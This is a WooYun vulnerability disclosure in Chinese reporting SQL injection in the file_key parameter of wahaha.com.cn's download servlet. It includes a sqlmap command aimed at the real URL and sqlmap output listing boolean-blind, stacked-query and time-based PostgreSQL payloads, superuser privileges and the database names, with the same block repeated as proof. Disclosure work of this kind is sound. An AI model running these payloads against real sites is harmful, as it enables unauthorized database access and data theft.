当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088644

漏洞标题:娃哈哈网站SQL注射漏洞

相关厂商:wahaha.com.cn

漏洞作者: 路人甲

提交时间:2014-12-26 14:49

修复时间:2014-12-31 14:50

公开时间:2014-12-31 14:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-26: 细节已通知厂商并且等待厂商处理中
2014-12-31: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

娃哈哈网站SQL注射漏洞

详细说明:

链接:http://www.wahaha.com.cn/FSDownloadServlet?file_key=20140619074133653296.docx&file_name=2014年纸箱招标公告.docx
字段file_key未过滤。

sqlmap.py -u "http://www.wahaha.com.cn/FSDownloadServlet?file_key=20140619074133653296.docx&file_name=2014年纸箱招标公告.docx" --privilege --dbs


sqlmap identified the following injection points with a total of 288 HTTP(s) requests:
---
Parameter: file_key (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: file_key=20140619074133653296.docx' AND 6103=6103 AND 'ZhCy'='ZhCy&file_name=2014骞寸焊绠辨嫑鏍囧叕鍛?docx
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries
Payload: file_key=20140619074133653296.docx'; SELECT PG_SLEEP(5)--&file_name=2014骞寸焊绠辨嫑鏍囧叕鍛?docx
Type: AND/OR time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: file_key=20140619074133653296.docx' AND 5283=(SELECT 5283 FROM PG_SLEEP(5)) AND 'ovtB'='ovtB&file_name=2014骞寸焊绠辨嫑鏍囧叕鍛?docx
---
back-end DBMS: PostgreSQL
database management system users privileges:
[*] postgres (administrator) [3]:
privilege: catupd
privilege: createdb
privilege: super
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public


漏洞证明:

链接:http://www.wahaha.com.cn/FSDownloadServlet?file_key=20140619074133653296.docx&file_name=2014年纸箱招标公告.docx
字段file_key未过滤。

sqlmap.py -u "http://www.wahaha.com.cn/FSDownloadServlet?file_key=20140619074133653296.docx&file_name=2014年纸箱招标公告.docx" --privilege --dbs


sqlmap identified the following injection points with a total of 288 HTTP(s) requests:
---
Parameter: file_key (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: file_key=20140619074133653296.docx' AND 6103=6103 AND 'ZhCy'='ZhCy&file_name=2014骞寸焊绠辨嫑鏍囧叕鍛?docx
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries
Payload: file_key=20140619074133653296.docx'; SELECT PG_SLEEP(5)--&file_name=2014骞寸焊绠辨嫑鏍囧叕鍛?docx
Type: AND/OR time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: file_key=20140619074133653296.docx' AND 5283=(SELECT 5283 FROM PG_SLEEP(5)) AND 'ovtB'='ovtB&file_name=2014骞寸焊绠辨嫑鏍囧叕鍛?docx
---
back-end DBMS: PostgreSQL
database management system users privileges:
[*] postgres (administrator) [3]:
privilege: catupd
privilege: createdb
privilege: super
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public


修复方案:

限制

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-31 14:50

厂商回复:

最新状态:

2015-01-04:已处理